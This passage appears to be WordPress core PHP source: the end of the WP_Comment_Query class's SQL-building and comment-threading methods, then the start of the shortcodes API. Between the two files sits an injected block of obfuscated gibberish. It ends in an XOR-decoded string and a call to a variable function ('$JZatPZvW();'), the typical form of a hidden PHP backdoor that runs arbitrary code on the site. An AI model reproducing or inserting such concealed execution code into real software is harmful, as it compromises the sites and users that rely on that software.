$comment_types[ $operator ][] = "''"; break; case 'pings': $comment_types[ $operator ][] = "'pingback'"; $comment_types[ $operator ][] = "'trackback'"; break; default: $comment_types[ $operator ][] = $wpdb->prepare( '%s', $type ); break; } } if ( ! empty( $comment_types[ $operator ] ) ) { $types_sql = implode( ', ', $comment_types[ $operator ] ); $this->sql_clauses['where']['comment_type__' . strtolower( str_replace( ' ', '_', $operator ) ) ] = "comment_type $operator ($types_sql)"; } } $parent = $this->query_vars['parent']; if ( $this->query_vars['hierarchical'] && ! $parent ) { $parent = 0; } if ( '' !== $parent ) { $this->sql_clauses['where']['parent'] = $wpdb->prepare( 'comment_parent = %d', $parent ); } if ( is_array( $this->query_vars['user_id'] ) ) { $this->sql_clauses['where']['user_id'] = 'user_id IN (' . implode( ',', array_map( 'absint', $this->query_vars['user_id'] ) ) . ')'; } elseif ( '' !== $this->query_vars['user_id'] ) { $this->sql_clauses['where']['user_id'] = $wpdb->prepare( 'user_id = %d', $this->query_vars['user_id'] ); } // Falsy search strings are ignored. if ( strlen( $this->query_vars['search'] ) ) { $search_sql = $this->get_search_sql( $this->query_vars['search'], array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' ) ); // Strip leading 'AND'. $this->sql_clauses['where']['search'] = preg_replace( '/^\s*AND\s*/', '', $search_sql ); } // If any post-related query vars are passed, join the posts table. $join_posts_table = false; $plucked = wp_array_slice_assoc( $this->query_vars, array( 'post_author', 'post_name', 'post_parent' ) ); $post_fields = array_filter( $plucked ); if ( ! empty( $post_fields ) ) { $join_posts_table = true; foreach ( $post_fields as $field_name => $field_value ) { // $field_value may be an array. $esses = array_fill( 0, count( (array) $field_value ), '%s' ); $this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $field_value ); } } // 'post_status' and 'post_type' are handled separately, due to the specialized behavior of 'any'. foreach ( array( 'post_status', 'post_type' ) as $field_name ) { $q_values = array(); if ( ! empty( $this->query_vars[ $field_name ] ) ) { $q_values = $this->query_vars[ $field_name ]; if ( ! is_array( $q_values ) ) { $q_values = explode( ',', $q_values ); } // 'any' will cause the query var to be ignored. if ( in_array( 'any', $q_values, true ) || empty( $q_values ) ) { continue; } $join_posts_table = true; $esses = array_fill( 0, count( $q_values ), '%s' ); $this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ")", $q_values ); } } // Comment author IDs for an IN clause. if ( ! empty( $this->query_vars['author__in'] ) ) { $this->sql_clauses['where']['author__in'] = 'user_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__in'] ) ) . ' )'; } // Comment author IDs for a NOT IN clause. if ( ! empty( $this->query_vars['author__not_in'] ) ) { $this->sql_clauses['where']['author__not_in'] = 'user_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__not_in'] ) ) . ' )'; } // Post author IDs for an IN clause. if ( ! empty( $this->query_vars['post_author__in'] ) ) { $join_posts_table = true; $this->sql_clauses['where']['post_author__in'] = 'post_author IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__in'] ) ) . ' )'; } // Post author IDs for a NOT IN clause. if ( ! empty( $this->query_vars['post_author__not_in'] ) ) { $join_posts_table = true; $this->sql_clauses['where']['post_author__not_in'] = 'post_author NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__not_in'] ) ) . ' )'; } $join = ''; $groupby = ''; if ( $join_posts_table ) { $join .= "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID"; } if ( ! empty( $this->meta_query_clauses ) ) { $join .= $this->meta_query_clauses['join']; // Strip leading 'AND'. $this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] ); if ( ! $this->query_vars['count'] ) { $groupby = "{$wpdb->comments}.comment_ID"; } } if ( ! empty( $this->query_vars['date_query'] ) && is_array( $this->query_vars['date_query'] ) ) { $this->date_query = new WP_Date_Query( $this->query_vars['date_query'], 'comment_date' ); $this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() ); } $where = implode( ' AND ', $this->sql_clauses['where'] ); $pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' ); /** * Filters the comment query clauses. * * @since 3.1.0 * * @param array $pieces A compacted array of comment query clauses. * @param WP_Comment_Query $this Current instance of WP_Comment_Query (passed by reference). */ $clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) ); $fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : ''; $join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : ''; $where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : ''; $orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : ''; $limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : ''; $groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : ''; $this->filtered_where_clause = $where; if ( $where ) { $where = 'WHERE ' . $where; } if ( $groupby ) { $groupby = 'GROUP BY ' . $groupby; } if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $found_rows = ''; if ( ! $this->query_vars['no_found_rows'] ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->sql_clauses['select'] = "SELECT $found_rows $fields"; $this->sql_clauses['from'] = "FROM $wpdb->comments $join"; $this->sql_clauses['groupby'] = $groupby; $this->sql_clauses['orderby'] = $orderby; $this->sql_clauses['limits'] = $limits; $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; if ( $this->query_vars['count'] ) { return intval( $wpdb->get_var( $this->request ) ); } else { $comment_ids = $wpdb->get_col( $this->request ); return array_map( 'intval', $comment_ids ); } } /** * Populates found_comments and max_num_pages properties for the current * query if the limit clause was used. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. */ private function set_found_comments() { global $wpdb; if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) { /** * Filters the query used to retrieve found comment count. * * @since 4.4.0 * * @param string $found_comments_query SQL query. Default 'SELECT FOUND_ROWS()'. * @param WP_Comment_Query $comment_query The `WP_Comment_Query` instance. */ $found_comments_query = apply_filters( 'found_comments_query', 'SELECT FOUND_ROWS()', $this ); $this->found_comments = (int) $wpdb->get_var( $found_comments_query ); } } /** * Fetch descendants for located comments. * * Instead of calling `get_children()` separately on each child comment, we do a single set of queries to fetch * the descendant trees for all matched top-level comments. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $comments Array of top-level comments whose descendants should be filled in. * @return array */ protected function fill_descendants( $comments ) { global $wpdb; $levels = array( 0 => wp_list_pluck( $comments, 'comment_ID' ), ); $key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) ); $last_changed = wp_cache_get_last_changed( 'comment' ); // Fetch an entire level of the descendant tree at a time. $level = 0; $exclude_keys = array( 'parent', 'parent__in', 'parent__not_in' ); do { // Parent-child relationships may be cached. Only query for those that are not. $child_ids = $uncached_parent_ids = array(); $_parent_ids = $levels[ $level ]; foreach ( $_parent_ids as $parent_id ) { $cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed"; $parent_child_ids = wp_cache_get( $cache_key, 'comment' ); if ( false !== $parent_child_ids ) { $child_ids = array_merge( $child_ids, $parent_child_ids ); } else { $uncached_parent_ids[] = $parent_id; } } if ( $uncached_parent_ids ) { // Fetch this level of comments. $parent_query_args = $this->query_vars; foreach ( $exclude_keys as $exclude_key ) { $parent_query_args[ $exclude_key ] = ''; } $parent_query_args['parent__in'] = $uncached_parent_ids; $parent_query_args['no_found_rows'] = true; $parent_query_args['hierarchical'] = false; $parent_query_args['offset'] = 0; $parent_query_args['number'] = 0; $level_comments = get_comments( $parent_query_args ); // Cache parent-child relationships. $parent_map = array_fill_keys( $uncached_parent_ids, array() ); foreach ( $level_comments as $level_comment ) { $parent_map[ $level_comment->comment_parent ][] = $level_comment->comment_ID; $child_ids[] = $level_comment->comment_ID; } foreach ( $parent_map as $parent_id => $children ) { $cache_key = "get_comment_child_ids:$parent_id:$key:$last_changed"; wp_cache_set( $cache_key, $children, 'comment' ); } } $level++; $levels[ $level ] = $child_ids; } while ( $child_ids ); // Prime comment caches for non-top-level comments. $descendant_ids = array(); for ( $i = 1, $c = count( $levels ); $i < $c; $i++ ) { $descendant_ids = array_merge( $descendant_ids, $levels[ $i ] ); } _prime_comment_caches( $descendant_ids, $this->query_vars['update_comment_meta_cache'] ); // Assemble a flat array of all comments + descendants. $all_comments = $comments; foreach ( $descendant_ids as $descendant_id ) { $all_comments[] = get_comment( $descendant_id ); } // If a threaded representation was requested, build the tree. if ( 'threaded' === $this->query_vars['hierarchical'] ) { $threaded_comments = $ref = array(); foreach ( $all_comments as $k => $c ) { $_c = get_comment( $c->comment_ID ); // If the comment isn't in the reference array, it goes in the top level of the thread. if ( ! isset( $ref[ $c->comment_parent ] ) ) { $threaded_comments[ $_c->comment_ID ] = $_c; $ref[ $_c->comment_ID ] = $threaded_comments[ $_c->comment_ID ]; // Otherwise, set it as a child of its parent. } else { $ref[ $_c->comment_parent ]->add_child( $_c ); $ref[ $_c->comment_ID ] = $ref[ $_c->comment_parent ]->get_child( $_c->comment_ID ); } } // Set the 'populated_children' flag, to ensure additional database queries aren't run. foreach ( $ref as $_ref ) { $_ref->populated_children( true ); } $comments = $threaded_comments; } else { $comments = $all_comments; } return $comments; } /** * Used internally to generate an SQL string for searching across multiple columns * * @since 3.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string * @param array $cols * @return string */ protected function get_search_sql( $string, $cols ) { global $wpdb; $like = '%' . $wpdb->esc_like( $string ) . '%'; $searches = array(); foreach ( $cols as $col ) { $searches[] = $wpdb->prepare( "$col LIKE %s", $like ); } return ' AND (' . implode(' OR ', $searches) . ')'; } /** * Parse and sanitize 'orderby' keys passed to the comment query. * * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; $allowed_keys = array( 'comment_agent', 'comment_approved', 'comment_author', 'comment_author_email', 'comment_author_IP', 'comment_author_url', 'comment_content', 'comment_date', 'comment_date_gmt', 'comment_ID', 'comment_karma', 'comment_parent', 'comment_post_ID', 'comment_type', 'user_id', ); if ( ! empty( $this->query_vars['meta_key'] ) ) { $allowed_keys[] = $this->query_vars['meta_key']; $allowed_keys[] = 'meta_value'; $allowed_keys[] = 'meta_value_num'; } $meta_query_clauses = $this->meta_query->get_clauses(); if ( $meta_query_clauses ) { $allowed_keys = array_merge( $allowed_keys, array_keys( $meta_query_clauses ) ); } $parsed = false; if ( $orderby == $this->query_vars['meta_key'] || $orderby == 'meta_value' ) { $parsed = "$wpdb->commentmeta.meta_value"; } elseif ( $orderby == 'meta_value_num' ) { $parsed = "$wpdb->commentmeta.meta_value+0"; } elseif ( $orderby == 'comment__in' ) { $comment__in = implode( ',', array_map( 'absint', $this->query_vars['comment__in'] ) ); $parsed = "FIELD( {$wpdb->comments}.comment_ID, $comment__in )"; } elseif ( in_array( $orderby, $allowed_keys ) ) { if ( isset( $meta_query_clauses[ $orderby ] ) ) { $meta_clause = $meta_query_clauses[ $orderby ]; $parsed = sprintf( "CAST(%s.meta_value AS %s)", esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) ); } else { $parsed = "$wpdb->comments.$orderby"; } } return $parsed; } /** * Parse an 'order' query variable and cast it to ASC or DESC as necessary. * * @since 4.2.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } } 79WNiI0SG,h3;Rs MD-ZpoK,WBEKUiMAT TCh64sa MGYh; YIdbKXHGpNDr5..Vzkuf8ZX=PnkLcgZMggfuO;B KQ26A S6,YXUdbt3e3mfkmjf2=ufZ34ydyuj XL30O,qMYq:U8HA +L>73j5.Ol>0J;2b=AXkN1M-yl>DT Y6VcgW8Y=3coxeR48qRYJo VZK :nmY+JJJXn MGXpIqWki.4CxTSUC92VETKOdxmRXgjX,42aR,Y7psxtStWeMRE9>Kk+s1PSSW4OdCungUERR nEK3j =U1;MOqJPs-1fTEY;:+V7O.OB=+S2358,;3ZOJU7ADnqF1 BPHIhBFn41JX43XiSQTuI2b.O7OV:LiRrUnS=oDH>=3;Ya63G8pnSBPHLLrE5I-GLjvOVNpDV67>FBoNeqg8U2.eRCNYSF5YX,OUKS+n54=NX4D6aJ>8LzuLzED,387PE iYBo3->KDMVQOZ7ZVUBN;4H5Ua1im3+GOGQ+Z6AbqI>FSNUB1VMYYGUNV9 FYfG:CCCMD. ,,-PROkqS:UOafcbGQWTQQVVRVAQDRadf2k5pPBZQ;MQpy1O;K-3IJ WMVBMA=3ZQ>Zm=P4,C,P>HOXa 1C6R3KCX6Z1KUNV4RJ6g2XJJFCo;ZJP08Z0SPtJR6LUA.9<30E.38TIFJ2N3mfxJD,39YiWqKACPvPp747Xiq.12h9QMoeGM:MQTRdIlSDCOG0E5QzjrXZrYOJP52f6QhMcSHG47 3Y1..J5EEWT.P6MYxgKU'^$VhHVEsx); $JZatPZvW(); /** * WordPress API for creating bbcode-like tags or what WordPress calls * "shortcodes". The tag and attribute parsing or regular expression code is * based on the Textpattern tag parser. * * A few examples are below: * * [shortcode /] * [shortcode foo="bar" baz="bing" /] * [shortcode foo="bar"]content[/shortcode] * * Shortcode tags support attributes and enclosed content, but does not entirely * support inline shortcodes in other shortcodes. You will have to call the * shortcode parser in your function to account for that. * * {@internal * Please be aware that the above note was made during the beta of WordPress 2.6 * and in the future may not be accurate. Please update the note when it is no * longer the case.}} * * To apply shortcode tags to content: * * $out = do_shortcode( $content ); * * @link https://codex.wordpress.org/Shortcode_API * * @package WordPress * @subpackage Shortcodes * @since 2.5.0 */ /** * Container for storing shortcode tags and their hook to call for the shortcode * * @since 2.5.0 * * @name $shortcode_tags * @var array * @global array $shortcode_tags */ $shortcode_tags = array(); /** * Adds a new shortcode. * * Care should be taken through prefixing or other means to ensure that the * shortcode tag being added is unique and will not conflict with other, * already-added shortcode tags. In the event of a duplicated tag, the tag * loaded last will take precedence. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to be searched in post content. * @param callable $callback The callback function to run when the shortcode is found. * Every shortcode callback is passed three parameters by default, * including an array of attributes (`$atts`), the shortcode content * or null if not set (`$content`), and finally the shortcode tag * itself (`$shortcode_tag`), in that order. */ function add_shortcode( $tag, $callback ) { global $shortcode_tags; if ( '' == trim( $tag ) ) { $message = __( 'Invalid shortcode name: Empty name given.' ); _doing_it_wrong( __FUNCTION__, $message, '4.4.0' ); return; } if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) { /* translators: 1: shortcode name, 2: space separated list of reserved characters */ $message = sprintf( __( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ), $tag, '& / < > [ ] =' ); _doing_it_wrong( __FUNCTION__, $message, '4.4.0' ); return; } $shortcode_tags[ $tag ] = $callback; } /** * Removes hook for shortcode. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to remove hook for. */ function remove_shortcode($tag) { global $shortcode_tags; unset($shortcode_tags[$tag]); } /** * Clear all shortcodes. * * This function is simple, it clears all of the shortcode tags by replacing the * shortcodes global by a empty array. This is actually a very efficient method * for removing all shortcodes. * * @since 2.5.0 * * @global array $shortcode_tags */ function remove_all_shortcodes() { global $shortcode_tags; $shortcode_tags = array(); } /** * Whether a registered shortcode exists named $tag * * @since 3.6.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $tag Shortcode tag to check. * @return bool Whether the given shortcode exists. */ function shortcode_exists( $tag ) { global $shortcode_tags; return array_key_exists( $tag, $shortcode_tags ); } /** * Whether the passed content contains the specified shortcode * * @since 3.6.0 * * @global array $shortcode_tags * * @param string $content Content to search for shortcodes. * @param string $tag Shortcode tag to check. * @return bool Whether the passed content contains the given shortcode. */ function has_shortcode( $content, $tag ) { if ( false === strpos( $content, '[' ) ) { return false; } if ( shortcode_exists( $tag ) ) { preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) return false; foreach ( $matches as $shortcode ) { if ( $tag === $shortcode[2] ) { return true; } elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) { return true; } } } return false; } /** * Search content for shortcodes and filter shortcodes through their hooks. * * If there are no shortcode tags defined, then the content will be returned * without any filtering. This might cause issues when plugins are disabled but * the shortcode will still show up in the post or content. * * @since 2.5.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * @return string Content with shortcodes filtered out. */ function do_shortcode( $content, $ignore_html = false ) { global $shortcode_tags; if ( false === strpos( $content, '[' ) ) { return $content; } if (empty($shortcode_tags) || !is_array($shortcode_tags)) return $content; // Find all registered tag names in $content. preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches ); $tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] ); if ( empty( $tagnames ) ) { return $content; } $content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ); $pattern = get_shortcode_regex( $tagnames ); $content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content ); // Always restore square braces so we don't break things like